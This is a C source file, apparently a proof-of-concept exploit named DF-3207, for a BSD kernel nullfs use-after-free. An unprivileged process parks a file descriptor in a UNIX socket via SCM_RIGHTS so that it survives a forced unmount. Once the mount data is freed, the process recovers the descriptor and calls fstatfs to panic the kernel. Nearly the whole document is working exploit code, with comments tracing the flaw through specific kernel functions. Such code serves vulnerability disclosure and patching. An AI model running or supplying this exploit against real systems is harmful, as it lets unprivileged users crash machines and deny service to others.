DF-3207 / ghost.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 | /* * DF-3207 PoC (deterministic variant) - unprivileged side. * * Parks an open fd on a file inside the nullfs mount in an AF_UNIX * socket's receive buffer via SCM_RIGHTS. The struct file (and its * f_nchandle -> mount reference on the nullfs mount) survives the * umount -f kill-scan because process_uses_mount() * (sys/kern/vfs_syscalls.c:727-757) only scans process fd tables and * cwd/root/jail dirs -- a descriptor queued in a sockbuf is invisible. * * dounmount(MNT_FORCE) (vfs_syscalls.c:888-1006) exhausts its 50x250ms * retry loop, sets freeok=0 but STILL calls VFS_UNMOUNT -> * nullfs_unmount() (null_vfsops.c:261-267) zeroes mp->mnt_data and * kfrees the null_mount while our fp still references the (leaked but * live) struct mount. * * We then recvmsg() the fd back and call fstatfs(2): * kern_fstatfs (vfs_syscalls.c:1495-1512) takes mp from * fp->f_nchandle.mount with no vfs_busy/MNTK_UNMOUNT interlock and * calls VFS_STATFS -> nullfs_statfs -> * MOUNTTONULLMOUNT(mp)->nullm_vfs (null_vfsops.c:308) * = *(struct null_mount **)0 -> kernel page fault -> panic. * * usage: ghost /mnt/a/f1 /tmp/df3207 * writes /tmp/df3207.stashed after parking the fd * waits for /tmp/df3207.fire, then recvmsg + fstatfs */ #include <sys/types.h> #include <sys/socket.h> #include <sys/mount.h> #include <sys/stat.h> #include <sys/uio.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> int main(int argc, char **argv) { const char *path, *ctl; char stashed[512], fire[512], buf[64]; int sv[2], fd, got, i; struct msghdr msg; struct iovec iov; struct cmsghdr *cm; char cbuf[CMSG_SPACE(sizeof(int))]; struct statfs sb; if (argc != 3) { fprintf(stderr, "usage: %s <file-in-nullfs> <ctl-prefix>\n", argv[0]); exit(1); } path = argv[1]; ctl = argv[2]; snprintf(stashed, sizeof(stashed), "%s.stashed", ctl); snprintf(fire, sizeof(fire), "%s.fire", ctl); unlink(stashed); unlink(fire); if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("socketpair"); exit(1); } fd = open(path, O_RDONLY); if (fd < 0) { perror("open (is the nullfs mounted?)"); exit(1); } /* Park the fd in the socket's receive buffer. */ memset(&msg, 0, sizeof(msg)); iov.iov_base = buf; iov.iov_len = 1; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf); cm = CMSG_FIRSTHDR(&msg); cm->cmsg_level = SOL_SOCKET; cm->cmsg_type = SCM_RIGHTS; cm->cmsg_len = CMSG_LEN(sizeof(int)); memcpy(CMSG_DATA(cm), &fd, sizeof(int)); if (sendmsg(sv[0], &msg, 0) < 0) { perror("sendmsg"); exit(1); } close(fd); /* no fd-table entry remains */ if (creat(stashed, 0666) < 0) { perror("creat stashed"); exit(1); } fprintf(stderr, "[%d] fd parked; waiting for fire signal\n", getpid()); for (i = 0; i < 3600; i++) { /* wait up to 1h */ if (access(fire, F_OK) == 0) break; sleep(1); } if (access(fire, F_OK) != 0) { fprintf(stderr, "no fire signal\n"); exit(1); } /* Recover the descriptor. */ memset(&msg, 0, sizeof(msg)); iov.iov_base = buf; iov.iov_len = 1; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf); got = recvmsg(sv[1], &msg, 0); if (got < 0) { perror("recvmsg"); exit(1); } cm = CMSG_FIRSTHDR(&msg); if (cm == NULL || cm->cmsg_type != SCM_RIGHTS) { fprintf(stderr, "no SCM_RIGHTS returned\n"); exit(1); } memcpy(&fd, CMSG_DATA(cm), sizeof(int)); fprintf(stderr, "[%d] fd %d recovered; fstatfs -> deref dead " "nullfs mnt_data\n", getpid(), fd); /* kern_fstatfs -> VFS_STATFS(nullfs mp) -> MOUNTTONULLMOUNT(mp) * with mp->mnt_data == NULL -> kernel VA 0 read -> panic. */ if (fstatfs(fd, &sb) == 0) { fprintf(stderr, "fstatfs survived?! fstypename=%s\n", sb.f_fstypename); exit(1); } fprintf(stderr, "fstatfs returned errno=%d (no panic)\n", errno); return (0); } |